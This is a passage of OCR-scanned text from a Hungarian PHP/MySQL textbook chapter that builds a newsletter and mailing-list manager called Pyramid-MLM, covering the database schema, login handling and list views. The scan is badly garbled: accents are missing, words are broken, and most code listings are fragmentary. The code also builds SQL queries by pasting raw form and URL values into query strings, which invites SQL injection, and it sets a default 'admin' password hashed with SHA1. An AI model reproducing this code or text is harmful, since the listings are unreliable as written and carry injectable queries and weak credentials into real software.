Online hrlevlszerkeszt s -kld rendszert szetetnnk fejleszteni. A rendszernek biztostania kell a lehetsget, hogy kln
bz hrleveleket hozhassunk ltre s kldhessnk a felhasznlknak, akiknek pedig fel kell tudniuk iratkozni egy vagy tbb
hrlevlre.
A megolds alkotelemei az albbi ltalnos cloknak kell, hogy megfeleljenek:
Az adminisztrtorok levelezlistkat hozharnak ltre s mdosthatjk a meglvket.
Az adminisztrtorok szveges s HTML hrleveleket kldhetnek az egyes levelezlistk sszes feliratkozott tagjnak.
A projekt feladatnak ismeretben elkezdheljk megtervezni a megoldst s alkotelemeit, pldul a listk, a feliratkezottak
s az archivlt hrlevelek adatbzisnak ltrehozst; az offline ltrehozott hrlevelek feltltst; a mellkleteket tartalmaz
levelek kldst.
478
30.fezer
Hrlevelek feltltse
30
Olyan felletre van szksg, amellyel az adminisztrtor a korbban emltetteknek megfelelen hrlevelet kldher. Arrl viszont
mg nem beszltnk, hogy az adminisztrtor hogyan hozza ltre a hrleveleket. Kszthernnk szmra egy rlapot, ahova
begpelheri vagy bernsolhatja a hrlevl tartalmr. A rendszer felhasznlbart jellegr ersrherjk, ha lehetv tesszk az
adminisztrtor szmra, hogy az ltala preferlt szerkeszralkalmazsban hozza ltre a hrlevelet, majd az gy elkszlt f:ijlt
tltse fel a webszerverre. Ebben az esetben az adminisztrtor kpeket is egyszeren hozzadhar a HTML hrlevelekhez. Ehhez
a 19. fejezetben megismert f:ijlfelrlt funkcit fogjuk felhasznlni.
A korbbi projektekben ltott rlapoknl valamivel bonyolulrabbakkal kell most dolgoznunk. Ebben a projektben az admi
nisztrtornak a hrlevl szveges s HTML verzijt, illetve az utbbi esetn a szveg kz kerl kpeket is fel kell tltenie.
Miutn a hrlevelet feltlttte, ltre kell hozni egy olyan felletet, amelyen a klds eltt megtekintheti a hrlevl elnzett. Itt
meggyzdhet arrl, hogy minden fjl feltltse megfelel mdon trtnt.
Ne feledkezznk meg arrl sem, hogy ezeket a fjlokat el kell trolni egy archv knyvtrban, hogy a felhasznJk elolvas
hassk a korbbi hrleveleked Annak a felhasznlnak, amelyikknt webszervernk fut, rsi jogosultsgokkal kell rendelkez
nie ehhez a knyvtrhoz.A feltlt kd az . l archi ve/ knyvtrba ksrli meg berni a hrleveleket, ezrt gondoskodjunk
a knyvtr ltrehozsrl, illetve a megfelel jogosultsgok belltsrl!
A megolds ttekintse
Hasonlan a
479
Not
logged in
30.1 bra: A nem bejelentkezett Jelhasznlk csak korltozott szm lehetsg kzl vlaszthatnak.
A 30.2 brn a bejelentkezett felhasznlk szmra elrhet funkcikat ltjuk. Megvltoztathatjk fikbelltsaikat (e-mail
cm s szemlyes belltsok), jelszavukat, illetve azt, hogy melyik listkta iratkeztak fel.
30
minisztrtor az ltalnos Felhasznlk ltal elrhet lehetsgek mellett tovbbi funkcikhoz is hozzfr. j levelezlistkat
hozhat ltre, fjlfeltltssel j leveleket kszthet, illetve klds eltt megtekintheti azok elnzett.
Mivel az alkalmazs esemnyvezrelt megkzeltst kvet, a gerinct ismt csak egyetlen fjl, az index. php tartalmazza,
amely fggvnyknyvtrak sokasgt hvja meg.
A 30.1 tblzatban az alkalmazst alkot fjlok gyjtemnyt talljuk.
480
30. fejezet
30.1
Fjlnv
Tpus
Lers
index.php
Alkalmazs
beillesztett fuggvenyek.php
Fggvnyek
adat_ellenorzo fuggvenyek.php
Fggvnyek
adatbazis fuggvenyek.php
Fggvnyek
Az
mlm
nyek gyjtemnye
30
mlm_fuggvenyek.php
Fggvnyek
kimeneti_fuggvenyek.php
Fggvnyek
feltoltes.php
Alkotelem
felhasznaloi hitelesites
Fggvnyek
SQL
Most pedig fogjunk hozz a projekt megvalstshoz! Munknkat a feliratkozottakra s a lisrkra vonatkoz informcikat
trol adatbzis ltrehozsval kezeljk.
Az adatbzis ltrehozsa
Az alkalmazs mkdshez az albbi adatokat szksges eltrolnunk:
Listk-Levelezlistk, amelyekre a felhasznlk feliratkozhatnak
Felhasznlk - A rendszer felhasznli s az preferenciik
Aliistk-Az egyes felhasznlkhoz tartoz olyan levelezlistk, amelyekre feliratkoztak (sok a sokhoz tpus kapcsolat)
Hrlevl - Az elkldtt e-mailek rekordja
Kpek-Nyomon kell kvetni az egyes hrlevelekbe kerl szveget, HTML-t s kpeket, mert szeretnnk tbb fjlbl
ll hrleveleket is kldeni.
Az adatbzis ltrehozsra szolgl SQL kdot a 30.1 pldakdban talljuk.
30.1 pldakd: adatbaz is_letrehozasa. sql -A z
USE mlm;
listaiD
listanev CHAR(20)
NOT NULL,
leiras VARCHAR(255)
);
CREATE TABLE
felhasznalak
email CHAR(l00)
NOT NULL,
NOT NULL,
NOT NULL,
481
);
CREATE TABLE
hirlevel
30
GRANT SELECT,
INSERT,
UPDATE,
DELETE
ON mlm.*
TO mlm@localhost
INSERT INTO
IDENTIFIED BY 'jelszo';
felhasznalak VALUES
('admin@localhost',
INSERT INTO
'Adminisztrtori
felhasznal',
'H',
shal('admin'),
l);
felhasznalak VALUES
'Adminisztrtori felhasznl',
'H',
shal('admin'),
l);
-p
<
adatbazis_letrehozasa.sql
Meg kell adnunk root felhasznli jelszavunkat. (A kdot termszetesen a megfelel jogosultsgokkal rendelkez brmely
MySQL-felhasznlval futtathatjuk, csak az egyszersg kedvrt vlasztottuk a rootot.) A kd futtatsa eltt vltoztassuk
meg benne az
mlm
Az adatbzis egyes mezi tovbbi magyarhatot ignyelnek, fussuk t rviden ezeket! A listak tbla a listaiD s
a listanev mezket tartalmazza. Itt tallhat tovbb a leiras mez, amely az egyes listkat bemutat, rvid szvegeket trolja.
A
a
felhasznalak
jelszo-t,
felhasznlk milyen pus hrlevelet kvnnak kapni. A HTML-t a H, a szveges verzit pedig a T jelzi.
Az
al_listak
felhasznalak
ket tartalmazza.
A hirlevel tblban a rendszer ltal kkldtt hrlevelekrl tallunk informcikat. Trolja a hrlevelek egyedi azonos
tjt
( hirleveliD) , a cmet, amelyrl a hrlevelet kldtk ( email) , az e-mail trgysort (targy) , valarnint annak a levelez
listnak a listaiD-jt, amelyre a levelet kldtk vagy kldeni fogjuk. Az zenet szvege vagy HTML-je akr igen nagy fjl is
lehet, ezrt a hrlevelek archvumt az adatbzison kvl clszer trolnunk. Feljegyznk tovbb nhny ltalnos llapotin-
482
30. fejezet
formcit: azt, hogy a hrlevl el lett-e kldve ( allapot) , ha igen, akkor rnikor ( kuldve) , illetve eltrolunk egy idblyeget,
ami azt jelzi, hogy mikor mdostottuk utoljra ezt a rekordot ( modositva) .
Vgl a kepek tblval azt kveljk nyomon, hogy milyen kpek tartoznak az egyes HTML zenetekhez. A kpek mrete
akr igen nagy is lehet, ezrt a hatkonysg megrzse rdekben az adatbzison kvl fogjuk trolni ket. Fel kell jegyeznnk,
hogy a kpek melyik hrlevlhez tartoznak (hirleveliD ) , milyen eleresi_utvonal on troljuk ket, s rnilyen MIME
-
A kd architektrjnak meghatrozsa
Akrcsak az elz projektben, most is esemnyvezrelt megkzeltst kvetnk. Az alkalmazs gerince az index. php fjlban
tallhat. Ez a kd az albbi fbb rszekbl ll ssze:
l. Elfeldolgozs vgrehajtsa. Itt a fejlcek kldse eltt szksges feladatokat vgezzk el.
30
2.
3. Mvelet vgreh;ytsa. Reagls az szlelt esemnyre. Akrcsak az elz pldban, itt is a $muvelet vltozban troljuk
az esemnyt.
4.
Oldallblcek kldse.
ezt
knyvtrakat is hasznlja.
Az index. php kd teljes szvegt a 30.2 rnintakd tartalmazza.
30.2 pldakd: index.php-A Pyramid-MLM alkalmazs J
kdja
<?php
/**********************************************************************
* l.
rsz :
elfeldolgozs
*********************************************************************/
include ('beillesztett_fuggvenyek.php');
session_start();
Smuvelet = S_GET['muvelet'];
$gombok = array();
ll fzzk hozz ehhez a sztringhez,
ll ha brmit feldolgoztunk a HTTP fejlc elkldse eltt!
Sallapot = '';
ll legelszr a bejelentkezsi s kijelentkezsi krseket kell feldolgozni
if(($ POST['email'])
&&
($ POST['jelszo']))
.=
==
'admin')
$ POST['jelszo']);
"<p style=\"padding-bottom:
SOpx\">
S_POST['email'];
SOpx\">
483
<strong>".valodi_nev_lekerese($_POST['email'])."<lstrong>
sikeresen bejelentkezett.<lp>";
$_SESSION['altalanos felhasznalo'] = $ POST['email'];
else
$allapot
"<p style=\"padding-bottom:
if($muvelet == 'kijelentkezes')
unset($muvelet);
$ SESSION=array();
session_destroy();
30
/**********************************************************************
* 2.
rsz:
*********************************************************************/
$gombok[l]
= 'fiok-beallitasok';
'jelszo-megvaltoztatasa';
$gombok[2] = 'sajat-listak-megjelenitese';
$gombok[3] = 'egyeb-listak-megjelenitese';
$gombok[4] = 'kijelentkezes';
else if(admin_felhasznalo_ellenorzese())
ll adminisztrtor esetn
$gombok[O] = 'jelszo-megvaltoztatasa';
$gombok[l]
'levelezolista-letrehozasa';
$gombok[2]
'hirlevel-letrehozasa';
$gombok[3]
'hirlevel-megtekintese';
$gombok[4]
'kijelentkezes';
$gombok[5]
'osszes-lista-megjelenitese';
$gombok[6]
'sajat-listak-megjelenitese';
$gombok[7]
'egyeb-listak-megjelenitese';
else
ll ha nincs bejelentkezve
$gombok[O]
'uj-fiok';
$gombok[l]
'osszes-lista-megjelenitese';
$gombok[4]
'bejelentkezes';
if($muvelet)
ll fejlc megjelentse,
ll fejlc megjelentse,
html_fejlec_letrehozasa('Pyramid-MLM');
eszkozsor_megjelenitese($gombok);
484
30. fejezet
rsz:
mveletek vgrehajtsa
*********************************************************************/
30
case 'fiok-tarolasa':
if (fiok_tarolasa($ SESSION ['altalanos felhasznala' l ,
$_SESSION['admin_felhasznalo'],
$muvelet
$POST))
'';
if(!beJelentkezes_ellenorzese())
bejelentkezesi_urlap_megjelenitese($muvelet);
break;
case 'bejelentkezes':
case '':
if(!bejelentkezes_ellenorzese())
bejelentkezesi_urlap_megjelenitese($muvelet);
break;
case 'osszes-lista-megjelenitese':
elemek_megjelenitese('sszes lista',
osszes lista_lekerese(),
'informacio',
'archivum-megjelenitese', '');
break;
case 'archivum-megjelenitese':
elemek_megjelenitese(listanev_lekerese($_GET['id']). 'archvuma ',
archivum_lekerese($_GET['id']),
'szoveges-megjelenitese',
' ');
break;
case 'informacio':
informacio_megjelenitese($_GET['id']);
break;
'HTML-megjelenitese',
485
fiok_urlap_megjelenitese(email_lekerese(),
valodi_nev_lekerese(email_lekerese()),
mime tipus lekerese(email_lekerese()));
break;
case 'egyeb-listak-megjelenitese':
elemek_megjelenitese('Nem krt levelezlistk',
nem_feliratkozott listak_lekerese(email_lekerese()),
'informacie',
'archivum-megjelenitese',
'feliratkozas');
break;
case 'feliratkozas':
feliratkozas(email lekerese(),
$_GET['id']);
elemek_megjelenitese('Megrendelt levelezlistk',
feliratkozott_listak_lekerese(email_lekerese()),
'informacie',
'archivum-megjelenitese',
'leiratkozas');
30
break;
'
case 'leiratkozas':
leiratkozas(email lekerese(),
$_GET['id']);
elemek_megjelenitese('Megrendelt levelezlistk',
feliratkozott_listak_lekerese(email_lekerese()),
'informacie',
'archivum-megjelenitese',
'leiratkozas');
break;
case '':
case 'sajat-listak-megjelenitese':
elemek_megjelenitese('Megrendelt levelezlistk',
feliratkozott_listak_lekerese(email_lekerese()),
'informacie',
'archivum-megjelenitese',
'leiratkozas');
break;
case 'jelszo-megvaltoztatasa':
jelszo_urlap_megjelenitese();
break;
case 'jelszo-megvaltoztatasa-tarolasa':
if(jelszo_valtoztatas(email_lekerese(),
$_POST['uj_jelszo'],
$ POST['elozo_jelszo'],
$_POST['uj_jelszo2']))
SOpx\">OK:
jelszavt megvltoztattuk.<lp>";
else
echo "<p style=\"padding-bottom:
SOpx\">Sajnljuk,
jelszavt
break;
486
30. fejezet
break;
case 'levelezolista-letrehozasa':
lista_urlap_megjelenitese(email_lekerese());
break;
case 'lista-tarolasa':
if(lista tarolasa($_SESSION['admin_felhasznalo'], $POST))
echo "<p style=\"padding-bottom:
30
break;
case 'kuldes':
kuldes($_GET['id'], $ SESSION['admin_felhasznalo']);
break;
case 'hirlevel-megtekintese':
elemek_megjelenitese('El nem kldtt hrlevelek',
elkldetlen_hirlevel lekerese(email lekerese()),
'HTML-elonezete', 'szoveges-elonezete', 'kuldes');
break;
/**********************************************************************
* 4. rsz: lblc megjelenitse
*********************************************************************/
html lablec_megjelenitese();
?>
A pldakdban egymstl jl lthatan elvlasztva jelennek meg a kd klnbz rszei. Az elfeldolgozsi rszben bellt
juk a munkamenetet, s feldolgozzuk az oldalfejlc elkldse eltt vgzend mveleteket. Alkalmazsunkban a be- s kijelent
kezs jelenti ezeket a mveleteket.
A lblc-megjelents szakaszban llitjuk be a felhasznl ltal majdan lthat mengombokat, majd a kimeneti_
fuggvenyek.ph p knyvtr html_fejlee _letrehozasa () fggvnyvel megjelentjk a megfelel oldalfejlcet. Ez
a fggvny egyszeren csak a fejlcsor s a menk megjelentsrt felels, ezrt a rszleteibe most nem megynk bele.
A kd f rszben kezeljk a felhasznl ltal kivlasztott mveletet. Ezek hrom csoportba oszthatk: a be nem jelentke
zett felhasznlk szmra elrhet mveletek, az ltalnos felhasznlk szmra elrhet mveletek, illetve az adminisztratv
felhasznlk szmra fenntartott mveletek. Az utbbi kt mveletcsoporthoz val jogosultsgot a bejelen tkezes_
ellenorzese ( ) s az admin_felhasznala _ellenorzese() fggvnnyel llaptjuk meg. Ez a kt fggvny
return false;
function admin_felhasznalo_ellenorzese()
ll ellenrizzk,
hogy bejelentkezett-e,
{
s kzljk,
ha nem
return false;
function bejelentkezes_ellenorzese() {
return ( altalanos felhasznalo_ellenorzese()
l l
admin_felhasznalo ellenorzese() );
A fenti sorokbl lthat, hogy a fggvnyekazal talanos _ felhasznala s az a dmin_ felhasznalo munkamenet
vltozval ellenrzik, hogy a felhasznl belpett-e. Rvidesen megmutaguk, hogyan kell belltani ezeket a vltozkat.
Az index. php kd utols rszben a kimeneti_fuggvenyek. php knyvtr html_lablec_megjelenitese()
fggvnye segtsgvel elkldjk a HTML lblcet.
Nzzk t rviden a rendszerben lehetsges mveleteket a 30.2 tblzatban!
30.2 tblzat: A levelezlista-kezel alkalmazs lehetsges mveletei
Mvelet
Jogosultak kre
Lers
bejelentkezes
Brki
kijelentkezes
Brki
Befejezi a munkamenetet
uj -fiok
Brki
fiok-tarolasa
Brki
osszes-lista-megjelentese
Brki
archivum-megj elenitese
Brki
informacie
Brki
fiok-beallitasok
Bejelentkezett
felhasznlk
egyeb-listak-megjelenitese
sajat-listak-megjelenitese
Bejelentkezett
felhasznlk
Bejelentkezett
felhasznlk
hasznl feliratkozott
feliratkozas
Bejelentkezett
leiratkozas
Bejelentkezett
felhasznlk
A felhasznl leratkazik egy adott listrl
felhasznlk
jelszo-valtoztatas
Bejelentkezett
felhasznlk
jelszo-valtoztatas-tarolasa
Bejelentkezett
felhasznlk
487
488
30. fejezet
Mvelet
Jogosultak kre
hirlevel-letrehozasa
Adminisztrtorok
levelezolista-letrehozasa
Adminisztrtorok
lista-tarolasa
Adminszrrtorok
hirlevel-megtekintese
Adminisztrtorok
kuldes
Adminsztttorok
Lers
jelent meg
leket
Hrlevelek kldse a feliratkozottaknak
A 30.2 tblzatot olvasva hinyrzetnk lehet, mivel nem talljuk ott a hirlevel-tarolasa mveletet, ami tu
lajdonkppen a h ir leve1-1et re hoz asa mvelettel ltrehozott hrlevelek feltltse. Ezt a funkcit egy kln fjlba
( feltoltes . php) tettk bele, mert gy biztonsgi szempontbl valamivel knnyebb lesz kezelni a fjlfeltltst.
A kvetkezkben a 30.2 tblzarban hrom csoportba sorolt - vagyis a nem bejelentkezett, a bejelentkezett s
30
az
adminiszt
A bejelentkezs megvalstsa
Amikor teljesen j felhasznl ltogat el oldalunkra, hrom dolgot szerernnk. Elszr is szeretnnk megmutatni neki, hogy mit
knl
az
oldalunk; msodsorban szerernnk, hogy regisztrljon; vgiil azt, hogy lpjen be az oldalra. Ezeket a feladatokat most
egyenknt megvizsgljuk. A 30.4 brn az oldalra els alkalommal elltogat felhasznlknak megjelentett kpernyt lthatjuk.
30.4 bra:
, uj -fiok'
'uj-fiok':
ll munkamenet-valtozok trlse
session_destroy();
fiok_urlap_megjelenitese ();
break;
Ez a kd tulajdonkppen kilpreci
az
30.5 bra:
'
'
$POST))
o
'
if(!bejelentkezes ellenorzese())
bejelentkezesi_urlap_megjelenitese($muvelet);
break;
$admin felhasznalo,
$adatok)
if(!kitoltott($adatok))
echo "<p>Minden mezt ki kell tlteni.
Krjk,
prblja jra!<lp>";
return false;
else
489
if(letezo_felhasznalo($adatok['email')))
ll ellenrizzk,
if(email_lekerese{)==$adatok['email'))
if($kapcsolat=adatbazishoz_kapcsolodas())
if ($kapcsolat->query($lekerdezes))
return true;
30
490
30. fejezet
else
return false;
else
p>";
return false;
else {
30
ll j felhasznli fik
$lekerdezes = "INSERT INTO felhasznalak
VALUES ('".$adatok[email]."',
'".$adatok[valodi_nev] ."',
'".$adatok[mime_tipus] ."',
shal ('".$adatok [UJ
jelszo]."'),
0)";
if($kapcsolat=adatbazishoz kapcsolodas())
if ($kapcsolat->query($lekerdezes))
return true;
else
return false;
else
A fggvny elszr ellenrzi, hogy a felhasznl megadta-e a krt adatokat. Amennyiben igen, a fggvny j felhasznlt
hoz ltre, vagy - amennyiben a felhasznl mr ltezik - mdostja a fik adatait. A felhasznl csak annak a fiknak az adata
it mdosthatja, amelynek felhasznli nevvel s jelszavval bejelentkezett.
A bejelentkezett felhasznl szemlyazonossgt az email_lekerese () fggvnnyel ellenrizzk, amely visszakeresi az
aktulisan bejelentkezett felhasznl e-mail cmt. Ksbb mg visszatrnk ehhez a fggvnyhez, mert olyan munkamenet
vltozkat hasznl, amelyeket a felhasznl bejelentkezsekor lltunk be.
Bejelentkezs
Amikor a felhasznl kitlti a 30.4 brn ltott bejelentkezsi rlapot, s a"Bejelentkezs" gombra kattint, az index.php
kdba jut, mgpedig gy, hogy az email s a jelszo vltoz rtke be van llrva. Ez a bejelentkezsi kdot aktivlja, ami az
index.php elfeldolgozsi rszben tallhat, s a kvetkezkppen nz ki:
if ($bejelentkezes
Sallapot
.=
&&
($_POST['jelszo']))
bejelentkezesiS POST['email'],
==
$_POST['jelszo']);
'adrnin') {
"<p style=\"padding-bottom:
50px\">
<strong>".valodi_nev_lekerese($ POST['email'])."</strong>
sikeresen bejelentkezett
<strong>adminisztrtorknt<lstrong>.<lp>";
$_SESSION[1admin_felhasznalo1)
$ POST[1email1);
.=
"<p style=\"padding-bottom:
SOpx\">
<strong>".valodi_nev_lekerese($_POST[1email1)) ."<lstrong>
sikeresen bejelentkezett.<lp>";
$ SESSION[1altalanos felhasznalo1) = $_POST[1email1];
else
"<p style=\"padding-bottom:
$allapot
if($muvelet == 1kijelentkezes1)
unset($muvelet);
$_SESSION=array();
session_destroy();
A fenti sorokbl lthatjuk, hogy elszr is megprbljuk belptemi a felhasznlt a felhasznalc _hitelesites_
fuggvenyek. php knyvtr bejelentkezes () fggvnyt hasznlva. Ez a fggvny kis mrtkben klnbzik a mshol
hasznlt bejelentkezsi fggvnyektl, rdemes ht kzelebbrl megvizsglni. Kdjt a 30.5 pldakdban ltjuk.
30.5 pldakd: A felhasznaloi_hitelesites_fuggvenyek.php knyvtr bejelentkezes ()fggvnye- A fgg
$jelszo)
$lekerdezes
WHERE email=1".$email."1
AND jelsze = sha1(1".$jelszo."1)";
$eredmeny = $kapcsolat->query($lekerdezes);
if
(! $eredmeny) {
return false;
if ($eredmeny->num_rows<l)
return false;
$sor = $eredmeny->fetch_array();
if($sor[0)
==
l)
491
492
30. fejezet
return 'admin';
else
return 'normal';
A korbban alkalmazott bejelentkezsi fggvnyek sikeres bejelentkezs esetn true, egybknt false rtkkel trtek
vissza. Sikertelen bejelentkezs esetn itt is false rtket kapunk, m sikeres bejelentkezs utn a felhasznl tpust kapjuk
vissza, ami
a felhasznalek tbla admin oszlopban rallhat rtket. Ha a lekrdezs nem ad eredmnyt, false rtket adunk visz
sza. Adminisztrtori felhasznl esetn az rtk l ( true) lesz, gy ekkor, admin'
30
lltjuk be, tartalmazni fogja a felhasznl e-mail cmt. Annak rdekben, hogy egyszerbb tegyk a felhasznl e-mail cmnek
ellenrzst, a korbban mr emltett emai 1_1 ekerese( ) fggvnyt fogjuk hasznlni. Ennek kdjt a 30.6 pldakd mutatja.
30.6 pldakd: A felhasznaloi_hitelesites_fuggvenyek .php knyvtr email_lekerese {)fggvnye- Afgg
vny a bejelentkezettfelhasznl e-mail cmt adja vissza
function email lekerese
{)
if (isset($_SESSION['altalanos felhasznalo']))
return $ SESSION['altalanos felhasznalo'];
if (isset($_SESSION['admin felhasznalo']))
return $ SESSION['admin felhasznalo'];
return false;
Miutn visszatrnk a program f ghoz, tjkoztatjuk a felhasznlt, hogy sikerlt-e belptetni, s ha igen, milyen szinten
lpett be. A 30.6 brn egy sikeres bejelentkezsi kisrlet eredmnyt ltjuk.
Most, hogy mr bejelentkezett felhasznlval rendelkeznk, a felhasznli funkcikkal folytatjuk munknkat.
493
Jelszvltoztats
Kijelentkezs
A 30.6 brn lthat gombokkal a fenti lehetsgek jelents rsze mr elrhet. Nzzk meg most azt, hogyan valstjuk
meg ezeket a funkcikat!
Levelezlistk megtekintse
A projektben tbbflekppen adunk a felhasznlknak lehetsget arra, hogy megtekintsk az elrhet levelezlistfut s azok
adatait. A 30.6 brn kt ilyen opcit ltunk: a,.Sajt listk megjelentse" gombra kattintva azokat a listkat ltja a felhasznl,
amelyekre mr feliratkozott. Az .. Egyb listk megjelentse" gombbal azokat a levelezlistfut tekintheti meg, amelyekre nem
iratkozott fel.
Ha visszalapozunk a 30.4 brra, mg egy hasonl lehetsget ltunk: az,.sszes lista megjelentse" gombbal a rendszerben
elrhet sszes levelezlistt tekinthetjk meg. Ahhoz, hogy ez a funkci valban hasznos legyen, korltozni kell az egy oldalon
megjelentend listk szmt (moncljuk tzre), s meg kell adni a felhasznlnak a lapozs lehetsgt. Az egyszersg kedvrt
ettl ebben a projektben eltekintettnk.
Ez a hrom menpont az osszes-lista-megjelenitese, az egyeb-listak-megjelenitese s a sajat
listak-megjelenitese mveletet vltja ki. Mint ahogy arra szmthattunk, ezek a mveletek igen hasonlan mkdnek.
Kcljuk a kvetkez:
case 'osszes-lista-megjelenitese':
elemek_megjelenitese('sszes lista', osszes lista_lekerese(),
'informacio',
'archivum-megjelenitese','');
break;
case 'egyeb-listak-megjelenitese':
elemek_megjelenitese('Nem krt levelezlistk',
nem_feliratkozott_listak_lekerese(email_lekerese()), 'informacio',
'archivum-megjelenitese', 'feliratkozas');
break;
case '':
case 'sajat-listak-megjelenitese':
elemek_megjelenitese('Megrendelt levelezlistk',
feliratkozott_listak_lekerese(email_lekerese()),'informacio',
'archivum-megjelenitese', 'leiratkozas');
break;
30.7 bra:
30
"
494
30. fejezet
30.7 pldakd
tartalma z!
30.7 pldakd: A kimeneti_fuggvenyek. php knyvtr elemek _megjelenitese{) fggvnye -A fggvny az egyes
listkat s az azokhoz kapcsold mveleteket jelenti meg
function elemek_megjelenitese($cim,
$lista,
$muveletl='',
$muvelet2=' ',
global $tablazat_szelessege;
echo "<table width=\"$tablazat szelessege\" cellspacing=\"0\"
cellpadding=\"0\" border=\"0\">";
ll mveletek megszmolsa
$muveletek=(($muveletl!='') + ($muvelet2!='')
($muvelet3!=''));
echo "<tr>
<th colspan=\"".{1+$muveletek)."\" bgcolor=\"ISB69A6\">"
.$cim."</th>
</tr>";
ll elemek megszmolsa
$elemek=sizeof($lista);
if($elemek == 0) {
echo "<tr>
<td colspan=\"". (l+$muveletek)."\" align=\"center\">Nincs
megjelenthet elem</td>
</tr>";
else
ll sorok kiratsa
for($i=O; $i<$elemek; $i++)
if($i%2) {
ll vltakoz httrszinek
$hatterszin="lffffff";
else {
$hatterszin="lccccff";
echo "<tr>
<td bgcolor=\"".$hatterszin."\"
width=\"". ($tablazat_szelessege - ($muveletek
149)) ."\">";
echo $lista[$i)[l);
if ($lista[$i)[2)) {
echo " - ".$lista[$i][2);
echo "</td>";
$j<=3;
$j++)
$var="muvelet".$j;
if($$var) {
echo "<td bgcolor=\"".$hatterszin."\" width=\"149\">";
$muvelet3=' ' ) {
l l
'szoveges-elonezete')
($$var == 'HTML-megjelenitese')
l l
($$var ==
elonezet_gomb_megjelenitese($lista[$i) (3],
else
l l
'szoveges-megjelenitese'))
$lista[$i] [0),
$$var);
gomb_megjelenitese($$var,
'&id=' .
$lista [$i][0)
);
echo "</td>";
echo "</tr>\n";
echo "</table>";
A fggvny kimenere az elemek tblzata, amelyben mindegyik elemnl legfeljebb hrom kapcsold mvelet (illerve a mveletek gombja) lthat. A fggvny sorrendben az albbi t paramtert vrja:
A $eim a tblzat tetejn megjelen cmer tartalmazza. A 30.7 brn lthat esetben cmknt a .. Nem krt levelez
listk" kifejezst adtuk t, ahogy ezt az egyeb-listak-megj elen itese mvelethez tartoz kdrszletben mr
lthattuk.
A $lista a tblzat soraiban megjelentend elemek tmbje. Jelen esetben azoknak a levelezlistknak a tmbje,
amelyekre a felhasznl jelenleg nincsen feliratkozva. A tmbt (ebben az esetben) a rvidesen bemutatand nem_
feliratkozott_ listak_lekerese() fggvnnyel hozzuk ltre. Tbbdimenzis tmbbel llunk szemben, amely
nek minden sorban maximum ngy, az adott sorhoz tartoz adatot tallunk. Ezek sorrendben a kvetkezk:
A $lista[n) [O J az elem azonostjt tartalmazza; ez jellemzen a sor szma. Ez adja meg a mveletgom
boknak azt az azonostt, amelybl tudjk, hogy melyik sorral kell dolgozniuk. Ebben az esetben az adatbzis
bl vesszk az azonostkat; errl a ksbbiekben mg bvebben sz esik majd.
A $lista[n) [l) az elem nevt tartalmazza. Ez az adott elemhez megjelen szveg. A 30.7 brn lthat
esetben a tblzat els sorban ez az elemnv a MySQL teleptse.
A $lista[n) [2)
A.Tovbbi informci' szvegnek , illerve a Tovbbi informci" azonostnak felelnek meg.A kt paramter
"
hasznlatra akkor nznk majd pldt, arnikor az Adminisztratvfunkcik megvalstsa cm rszben a.Hrle
vl megtekintse" mvelethez rnk.
A fggvny opcionlis harmadik, negyedik s tdik paramtervel az egyes sorokban megjelen gombok ltal vgrehaj
tott mveleteket adjuk t.A 30.7 brn lthat hrom gomb sorrendben az.Informci; az ..Archvum megjelentsi' s
a ..Feliratkozs':
Az ..sszes lista megjelentse" oldalon gy jutunk ehhez a hrom gombhoz, hogy ezeknek a mveleteknek a nevt adjuk t
495
496
30. fejezet
$lekerdezes
"SELECT listak.listaiD,
listanev,
lf($kapcsolat=adatbazishoz kapcsolodas())
$eredmeny
$kapcsolat->query($lekerdezes);
if (! $eredmeny)
$num
30
$eredmeny->num_rows;
for($i = 0;
$i<$num;
$i++)
$sor = $eredmeny->fetch_array();
array_push($lista,
array($sor[O],
$sor[l]));
return $lista;
A fenti kdbl is lthat, hogy a fggvny e-mail cmet vr paramterknt. Ez annak a felhasznlnak az e-mail cme kell,
hogy legyen, akivel ppen dolgozunk. A feliratkozott_listak_le kerese () fggvnynek is e-mail cmet kell param
terknt tadni, viszont az osszes_lista_lekerese() fggvny- rthet mdon- ezt nem ignyli.
A felhasznl e-mail cmnek birtokban kapcsoldunk az adatbzishoz, s vesszk az sszes olyan levelezlistt, amelyre
a felhasznl nincsen feliratkozva. LEFT JOIN, vagyis bal sszekapcsols alkalmazsval keressk meg az adon felttelnek
meg nem felel tteleket, majd ciklussal vgiglpkednk az eredmnyen, s az array_push () beptert fggvnnyel soron
knt ltrehozzuk a tmbt.
Most, hogy megrudtuk, hogyan lehet ltrehozni ezt a listt, nzzk meg az ezekhez a kpernykhz tartoz gombokat!
Listainformcik megjelentse
A 30.7 brn lthat "Informci" gomb az, informacie' mveletet vltja ki, mgpedig a kvetkezkppen:
case 'informacio':
informacio_megjelenitese($_GET['id']);
break;
return false;
$info=lista info_betoltese($listaiD);
if($info)
echo
<h2>".formazas($info[listanev]) ."</h2>
"
497
<p>".formazas($info[leiras]) ."
</p><p>Feliratkozottak szma:".Sinfo[felhasznalok] ."
</p><p>Hrlevelek szma az archvumban:"
.Sinfo[archivum] ."</p>";
30
30.8 bra: Az informacie _megj elenitese() rvid lerst kzl az adott levelezlistrl.
Az informacie _megj elenitese () fggvny kt msik fggvny segtsgvel ltja el feladatt. E:z a kt fgg
vny a lista_info_betoltese() s a formazas ().Az elbbi visszakeresi az adatbzisbl a megfelel adatokat.
A formazas() fggvny egyszeren formzza az adatbzisbl szrmaz adatokat: eltvoleja a perjeleket, HTML sortrsek
k alaktja
az
jsorokat stb.
az
return false;
if(! ($kapcsolat=adatbazishoz_kapcsolodas()))
return false;
$kapcsolat->query($lekerdezes);
if(! $eredmeny)
$info = $eredmeny->fetch_assoc();
498
30. fejezet
if($eredmeny)
$sor = $eredmeny->fetch_array();
$info['felhasznalok') = $sor[O];
$lekerdezes
$eredmeny = $kapcsolat->query($lekerdezes);
if($eredmeny) {
$sor = $eredmeny->fetch_array();
$info['archivum') = $sor[O];
return $info;
A fggvny hrom adatbzis-lekrdezst futtatva gyjti be a listak tblbl a levelezlistk nevt s lerst, az al_
listak tblbl a feliratkozott felhasznJk szmt, valamint a hirlevel tblbl a kikldtt hrlevelek szmt.
az
'HTML-megjelenitese',
'');
break;
Ez a fggvny is az elemek_megjelenit ese() meghvsval lisrzza ki az adott levelezlistra kldtt hrleveleket, arni
ket pedig az mlm_fuggvenyek.php knyvtr archvum_lekerese() fggvnyvel keresnk vissza. Ez utbbi fggvny
kdjt a 30.11 pldakdban olvashatjuk.
30.11 pldakd: Az mlm_fuggvenyek.php knyvtr archivum_lekerese ()fggvnye- Afggvny az adott levelezlista
targy)
$lista = array();
Slistanev = listanev lekerese($listaiD);
$lekerdezes
"SELECT hirleveliD,
targy,
BY
